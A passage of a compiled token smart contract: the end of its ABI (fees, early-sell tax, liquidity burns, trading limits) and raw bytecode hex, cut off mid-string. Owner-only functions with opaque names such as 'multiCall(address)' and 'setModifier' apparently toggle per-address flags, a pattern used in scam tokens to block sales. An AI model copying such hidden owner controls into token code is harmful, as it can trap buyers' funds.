,"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"earlySellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableEarlySellTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"multiCall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetLimitsBackIntoEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"setAutoLpReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setEarlySellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"oneIsOnZeroIsOff","type":"uint256"}],"name":"setModifier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newBurnAddress","type":"address"}],"name":"updateBurnAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_earlySellLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"_earlySellMarketingFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506019600e556001600f60006101000a81548160ff021916908315150217905550611c206010556107086012556001601460006101000a81548160ff0219169083151502179055506000601460016101000a81548160ff0219169083151502179055506000601460026101000a81548160ff0219169083151502179055506001601460036101000a81548160ff0219169083151502179055506000601860006101000a81548160ff0219169083151502179055503480156200010757600080fd5b50604051620053213803806200532183398181016040528101906200012d919062000e26565b600380546200013c9062000f05565b80601f01602080910402602001604051908101604052809291908181526020018280546200016a9062000f05565b8015620001bb5780601f106200018f57610100808354040283529160200191620001bb565b820191906000526020600020905b8154815290600101906020018083116200019d57829003601f168201915b505050505060048054620001cf9062000f05565b80601f0160208091040260200160405190810160405280929190818152602001828054620001fd9062000f05565b80156200024e5780601f1062000222576101008083540402835291602001916200024e565b820191906000526020600020905b8154815290600101906020018083116200023057829003601f168201915b5050505050600560009054906101000a900460ff1682600390805190602001906200027b92919062000b60565b5081600490805190602001906200029492919062000b60565b5080600560006101000a81548160ff021916908360ff1602179055505050506000620002c5620007c760201b60201c565b905080600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000600290506000600290506000600190506000600290506000600290506000600190506000600190506000600290506000806103e8600282620003ea919062000f6a565b620003f6919062000ffa565b600b8190555062000417606482620007cf60201b620028a31790919060201c565b600d819055506127106005826200042f919062000f6a565b6200043b919062000ffa565b600c8190555089601a8190555088601b8190555087601c81905550601c54601b54601a546200046b919062001032565b62000477919062001032565b60198190555086601e8190555085601f8190555084602081905550602054601f54601e54620004a7919062001032565b620004b3919062001032565b601d819055508360218190555082602281905550620004d76200082160201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005276200082160201b60201c565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005896200057b6200082160201b60201c565b60016200084b60201b60201c565b6200059c3060016200084b60201b60201c565b620005b161dead60016200084b60201b60201c565b620005d3620005c56200082160201b60201c565b60016200099860201b60201c565b620005e63060016200099860201b60201c565b620005fb61dead60016200099860201b60201c565b8d600390805190602001906200061392919062000b60565b508c600490805190602001906200062c92919062000b60565b508b600560006101000a81548160ff021916908360ff1602179055508a9150620006678260025462000a9560201b620028ed1790919060201c565b600281905550620006c5826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000a9560201b620028ed1790919060201c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051620007679190620010a0565b60405180910390a36001601460016101000a81548160ff0219169083151502179055506001601460026101000a81548160ff021916908315150217905550426011819055504360268190555050505050505050505050505050506200125c565b600033905090565b60006200081983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000af860201b60201c565b905092915050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200085b620007c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620008ed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008e4906200111e565b60405180910390fd5b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516200098c91906200115d565b60405180910390a25050565b620009a8620007c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a31906200111e565b60405180910390fd5b80602860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080828462000aa6919062001032565b90508381101562000aee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ae590620011ca565b60405180910390fd5b8091505092915050565b6000808311829062000b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b39919062001238565b60405180910390fd5b506000838562000b53919062000ffa565b9050809150509392505050565b82805462000b6e9062000f05565b90600052602060002090601f01602090048101928262000b92576000855562000bde565b82601f1062000bad57805160ff191683800117855562000bde565b8280016001018555821562000bde579182015b8281111562000bdd57825182559160200191906001019062000bc0565b5b50905062000bed919062000bf1565b5090565b5b8082111562000c0c57600081600090555060010162000bf2565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000c798262000c2e565b810181811067ffffffffffffffff8211171562000c9b5762000c9a62000c3f565b5b80604052505050565b600062000cb062000c10565b905062000cbe828262000c6e565b919050565b600067ffffffffffffffff82111562000ce15762000ce062000c3f565b5b62000cec8262000c2e565b9050602081019050919050565b60005b8381101562000d1957808201518184015260208101905062000cfc565b8381111562000d29576000848401525b50505050565b600062000d4662000d408462000cc3565b62000ca4565b90508281526020810184848401111562000d655762000d6462000c29565b5b62000d7284828562000cf9565b509392505050565b600082601f83011262000d925762000d9162000c24565b5b815162000da484826020860162000d2f565b91505092915050565b600060ff82169050919050565b62000dc58162000dad565b811462000dd157600080fd5b50565b60008151905062000de58162000dba565b92915050565b6000819050919050565b62000e008162000deb565b811462000e0c57600080fd5b50565b60008151905062000e208162000df5565b92915050565b6000806000806080858703121562000e435762000e4262000c1a565b5b600085015167ffffffffffffffff81111562000e645762000e6362000c1f565b5b62000e728782880162000d7a565b945050602085015167ffffffffffffffff81111562000e965762000e9562000c1f565b5b62000ea48782880162000d7a565b935050604062000eb78782880162000dd4565b925050606062000eca8782880162000e0f565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f1e57607f821691505b6020821081141562000f355762000f3462000ed6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f778262000deb565b915062000f848362000deb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000fc05762000fbf62000f3b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010078262000deb565b9150620010148362000deb565b92508262001027576200102662000fcb565b5b828204905092915050565b60006200103f8262000deb565b91506200104c8362000deb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562001084576200108362000f3b565b5b828201905092915050565b6200109a8162000deb565b82525050565b6000602082019050620010b760008301846200108f565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062001106602083620010bd565b91506200111382620010ce565b602082019050919050565b600060208201905081810360008301526200113981620010f7565b9050919050565b60008115159050919050565b620011578162001140565b82525050565b60006020820190506200117460008301846200114c565b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620011b2601b83620010bd565b9150620011bf826200117a565b602082019050919050565b60006020820190508181036000830152620011e581620011a3565b9050919050565b600081519050919050565b60006200120482620011ec565b620012108185620010bd565b93506200122281856020860162000cf9565b6200122d8162000c2e565b840191505092915050565b60006020820190508181036000830152620012548184620011f7565b905092915050565b6140b5806200126c6000396000f3fe6080604052600436106103855760003560e01c80638095d564116101d1578063aacebbe311610102578063dd62ed3e116100a0578063f5ed24301161006f578063f5ed243014610d3b578063f637434214610d66578063fe72b27a14610d91578063ff935af614610dce5761038c565b8063dd62ed3e14610c7d578063e2f4560514610cba578063e884f26014610ce5578063f11a24d314610d105761038c565b8063c0246668116100dc578063c024666814610bd5578063c18bc19514610bfe578063c876d0b914610c27578063d85ba06314610c525761038c565b8063aacebbe314610b44578063b62496f514610b6d578063bbc0c74214610baa5761038c565b8063a0d82dc51161016f578063a457c2d711610149578063a457c2d714610a74578063a4c82a0014610ab1578063a4d15b6414610adc578063a9059cbb14610b075761038c565b8063a0d82dc5146109f7578063a265777814610a22578063a456f9a414610a4b5761038c565b806395d89b41116101ab57806395d89b411461094d5780639a7a23d6146109785780639c3b4fdc146109a15780639ec22c0e146109cc5761038c565b80638095d564146108ce5780638f84aa09146108f757806392136913146109225761038c565b80634a62bb65116102b65780636ddd171311610254578063730c188811610223578063730c188814610826578063751039fc1461084f5780637571336a1461087a5780637bce5a04146108a35761038c565b80636ddd17131461077c57806370a08231146107a757806370d5ae05146107e4578063715018a61461080f5761038c565b8063541a43cf11610290578063541a43cf146106d4578063549f3295146106ff5780636a486a8e146107285780636bd89cdd146107535761038c565b80634a62bb65146106435780634f807d261461066e5780634fbee193146106975761038c565b806323b872dd116103235780632e82f1a0116102fd5780632e82f1a014610573578063313ce5671461059e57806339509351146105c957806343b547ee146106065761038c565b806323b872dd146104e05780632bf3d42d1461051d5780632c3e486c146105485761038c565b806318160ddd1161035f57806318160ddd14610436578063184c16c514610461578063199ffc721461048c578063203e727e146104b75761038c565b806306fdde0314610391578063095ea7b3146103bc57806310d5de53146103f95761038c565b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610df7565b6040516103b3919061329d565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190613358565b610e89565b6040516103f091906133b3565b60405180910390f35b34801561040557600080fd5b50610420600480360381019061041b91906133ce565b610ea7565b60405161042d91906133b3565b60405180910390f35b34801561044257600080fd5b5061044b610ec7565b604051610458919061340a565b60405180910390f35b34801561046d57600080fd5b50610476610ed1565b604051610483919061340a565b60405180910390f35b34801561049857600080fd5b506104a1610ed7565b6040516104ae919061340a565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d99190613425565b610edd565b005b3480156104ec57600080fd5b5061050760048036038101906105029190613452565b610fff565b60405161051491906133b3565b60405180910390f35b34801561052957600080fd5b506105326110d8565b60405161053f919061340a565b60405180910390f35b34801561055457600080fd5b5061055d6110de565b60405161056a919061340a565b60405180910390f35b34801561057f57600080fd5b506105886110e4565b60405161059591906133b3565b60405180910390f35b3480156105aa57600080fd5b506105b36110f7565b6040516105c091906134c1565b60405180910390f35b3480156105d557600080fd5b506105f060048036038101906105eb9190613358565b61110e565b6040516105fd91906133b3565b60405180910390f35b34801561061257600080fd5b5061062d600480360381019061062891906133ce565b6111c1565b60405161063a91906133b3565b60405180910390f35b34801561064f57600080fd5b50610658611217565b60405161066591906133b3565b60405180910390f35b34801561067a57600080fd5b5061069560048036038101906106909190613358565b61122a565b005b3480156106a357600080fd5b506106be60048036038101906106b991906133ce565b6112cf565b6040516106cb91906133b3565b60405180910390f35b3480156106e057600080fd5b506106e9611325565b6040516106f6919061340a565b60405180910390f35b34801561070b57600080fd5b50610726600480360381019061072191906133ce565b61132b565b005b34801561073457600080fd5b5061073d6114d4565b60405161074a919061340a565b60405180910390f35b34801561075f57600080fd5b5061077a600480360381019061077591906133ce565b6114da565b005b34801561078857600080fd5b506107916115b5565b60405161079e91906133b3565b60405180910390f35b3480156107b357600080fd5b506107ce60048036038101906107c991906133ce565b6115c8565b6040516107db919061340a565b60405180910390f35b3480156107f057600080fd5b506107f9611610565b60405161080691906134eb565b60405180910390f35b34801561081b57600080fd5b50610824611636565b005b34801561083257600080fd5b5061084d60048036038101906108489190613532565b61178e565b005b34801561085b57600080fd5b506108646118e9565b60405161087191906133b3565b60405180910390f35b34801561088657600080fd5b506108a1600480360381019061089c9190613585565b6119a4565b005b3480156108af57600080fd5b506108b8611a96565b6040516108c5919061340a565b60405180910390f35b3480156108da57600080fd5b506108f560048036038101906108f091906135c5565b611a9c565b005b34801561090357600080fd5b5061090c611bb6565b60405161091991906134eb565b60405180910390f35b34801561092e57600080fd5b50610937611be0565b604051610944919061340a565b60405180910390f35b34801561095957600080fd5b50610962611be6565b60405161096f919061329d565b60405180910390f35b34801561098457600080fd5b5061099f600480360381019061099a9190613585565b611c78565b005b3480156109ad57600080fd5b506109b6611d1d565b6040516109c3919061340a565b60405180910390f35b3480156109d857600080fd5b506109e1611d23565b6040516109ee919061340a565b60405180910390f35b348015610a0357600080fd5b50610a0c611d29565b604051610a19919061340a565b60405180910390f35b348015610a2e57600080fd5b50610a496004803603810190610a449190613618565b611d2f565b005b348015610a5757600080fd5b50610a726004803603810190610a6d91906133ce565b611de3565b005b348015610a8057600080fd5b50610a9b6004803603810190610a969190613358565b611ebe565b604051610aa891906133b3565b60405180910390f35b348015610abd57600080fd5b50610ac6611f8b565b604051610ad3919061340a565b60405180910390f35b348015610ae857600080fd5b50610af1611f91565b604051610afe91906133b3565b60405180910390f35b348015610b1357600080fd5b50610b2e6004803603810190610b299190613358565b611fa4565b604051610b3b91906133b3565b60405180910390f35b348015610b5057600080fd5b50610b6b6004803603810190610b6691906133ce565b611fc2565b005b348015610b7957600080fd5b50610b946004803603810190610b8f91906133ce565b612119565b604051610ba191906133b3565b60405180910390f35b348015610bb657600080fd5b50610bbf612139565b604051610bcc91906133b3565b60405180910390f35b348015610be157600080fd5b50610bfc6004803603810190610bf79190613585565b61214c565b005b348015610c0a57600080fd5b50610c256004803603810190610c209190613425565b61228c565b005b348015610c3357600080fd5b50610c3c6123ae565b604051610c4991906133b3565b60405180910390f35b348015610c5e57600080fd5b50610c676123c1565b604051610c74919061340a565b60405180910390f35b348015610c8957600080fd5b50610ca46004803603810190610c9f9190613645565b6123c7565b604051610cb1919061340a565b60405180910390f35b348015610cc657600080fd5b50610ccf61244e565b604051610cdc919061340a565b60405180910390f35b348015610cf157600080fd5b50610cfa612454565b604051610d0791906133b3565b60405180910390f35b348015610d1c57600080fd5b50610d2561250f565b604051610d32919061340a565b60405180910390f35b348015610d4757600080fd5b50610d50612515565b604051610d5d91906133b3565b60405180910390f35b348015610d7257600080fd5b50610d7b6125d0565b604051610d88919061340a565b60405180910390f35b348015610d9d57600080fd5b50610db86004803603810190610db39190613425565b6125d6565b604051610dc591906133b3565b60405180910390f35b348015610dda57600080fd5b50610df56004803603810190610df09190613685565b612779565b005b606060038054610e069061372f565b80601f0160208091040260200160405190810160405280929190818152602001828054610e329061372f565b8015610e7f5780601f10610e5457610100808354040283529160200191610e7f565b820191906000526020600020905b815481529060010190602001808311610e6257829003601f168201915b5050505050905090565b6000610e9d610e9661294b565b8484612953565b6001905092915050565b60286020528060005260406000206000915054906101000a900460ff1681565b6000600254905090565b60125481565b600e5481565b610ee561294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6b906137ad565b60405180910390fd5b633b9aca006103e86001610f86610ec7565b610f9091906137fc565b610f9a9190613885565b610fa49190613885565b811015610fe6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdd90613928565b60405180910390fd5b633b9aca0081610ff691906137fc565b600b8190555050565b600061100c848484612b1e565b6110cd8461101861294b565b6110c88560405180606001604052806028815260200161403360289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061107e61294b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e949092919063ffffffff16565b612953565b600190509392505050565b60225481565b60105481565b600f60009054906101000a900460ff1681565b6000600560009054906101000a900460ff16905090565b60006111b761111b61294b565b846111b2856001600061112c61294b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ed90919063ffffffff16565b612953565b6001905092915050565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601460009054906101000a900460ff1681565b61123261294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b8906137ad565b60405180910390fd5b6112cb8282612ef8565b5050565b6000602760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60215481565b61133361294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b9906137ad565b60405180910390fd5b60001515601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611478576001601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506114d1565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b601d5481565b6114e261294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611571576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611568906137ad565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601460029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61163e61294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c4906137ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61179661294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c906137ad565b60405180910390fd5b61025883101561186a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611861906139ba565b60405180910390fd5b6103e8821115801561187d575060008210155b6118bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b390613a4c565b60405180910390fd5b8260108190555081600e8190555080600f60006101000a81548160ff021916908315150217905550505050565b60006118f361294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611982576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611979906137ad565b60405180910390fd5b6000601460006101000a81548160ff0219169083151502179055506001905090565b6119ac61294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906137ad565b60405180910390fd5b80602860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601a5481565b611aa461294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2a906137ad565b60405180910390fd5b82601a8190555081601b8190555080601c81905550601c54601b54601a54611b5b9190613a6c565b611b659190613a6c565b60198190555060146019541115611bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba890613b0e565b60405180910390fd5b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601e5481565b606060048054611bf59061372f565b80601f0160208091040260200160405190810160405280929190818152602001828054611c219061372f565b8015611c6e5780601f10611c4357610100808354040283529160200191611c6e565b820191906000526020600020905b815481529060010190602001808311611c5157829003601f168201915b5050505050905090565b611c8061294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d06906137ad565b60405180910390fd5b611d198282613080565b5050565b601c5481565b60135481565b60205481565b611d3761294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbd906137ad565b60405180910390fd5b80601460036101000a81548160ff02191690831515021790555050565b611deb61294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146